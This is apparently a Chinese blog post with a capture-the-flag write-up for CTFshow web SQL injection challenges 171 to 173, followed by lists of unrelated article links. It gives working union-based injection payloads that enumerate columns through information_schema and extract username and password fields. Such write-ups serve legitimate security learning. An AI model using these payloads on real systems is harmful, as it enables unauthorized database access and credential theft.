CTFshow-web sql注入

Web171 1

在题目中可以看到查询语句为 "select username,password from user where username !='flag' and id = '".$_GET['id']."' limit 1;";

直接使用万能密码 查到了所有用户 获得flag

Web172 0

可以看到返回逻辑显示 如果返回的查询数据中username不等于flag 则才会返回结果

先用1 ' order by 2 --+ 查出这个表有两列

再用-1' union select 1,(database()) --+查出数据库名

用union注入查出它的列名 id=-1' union select 1,(select group_concat(column_name) from information_schema.columns where table_name='ctfshow_user2') --+ 

用concat合并字段查到flag id=-1' union select 1,(select concat(username,password) from ctfshow_user2 where username='flag') --+ 

Web173 0

先用  1‘ order by 3 --+ 查出这个表有三列

直接用-1' union select 1,2,password from ctfshow_user3 where username='flag' -- +查出flag

相关推荐

  1. localForage使用 IndexedDB / WebSQL存储

    2024-06-16 15:40:05       34 阅读

最近更新

  1. TCP协议是安全的吗?

    2024-06-16 15:40:05       10 阅读
  2. 阿里云服务器执行yum,一直下载docker-ce-stable失败

    2024-06-16 15:40:05       12 阅读
  3. 【Python教程】压缩PDF文件大小

    2024-06-16 15:40:05       11 阅读
  4. 通过文章id递归查询所有评论(xml)

    2024-06-16 15:40:05       14 阅读

热门阅读

  1. Python闯LeetCode--第1题:两数之和

    2024-06-16 15:40:05       7 阅读
  2. btstack协议栈实战篇--HID Mouse LE

    2024-06-16 15:40:05       7 阅读
  3. 单目物体测距

    2024-06-16 15:40:05       9 阅读
  4. text-underline-offset的作用是什么,怎么使用

    2024-06-16 15:40:05       7 阅读
  5. Go日志组件Zap的基本使用

    2024-06-16 15:40:05       9 阅读
  6. CAP和Base

    2024-06-16 15:40:05       7 阅读
  7. HIL测试-车辆模型

    2024-06-16 15:40:05       6 阅读
  8. C语言指针与数组的区别

    2024-06-16 15:40:05       6 阅读
  9. Python在SQLite中的应用:从入门到进阶

    2024-06-16 15:40:05       6 阅读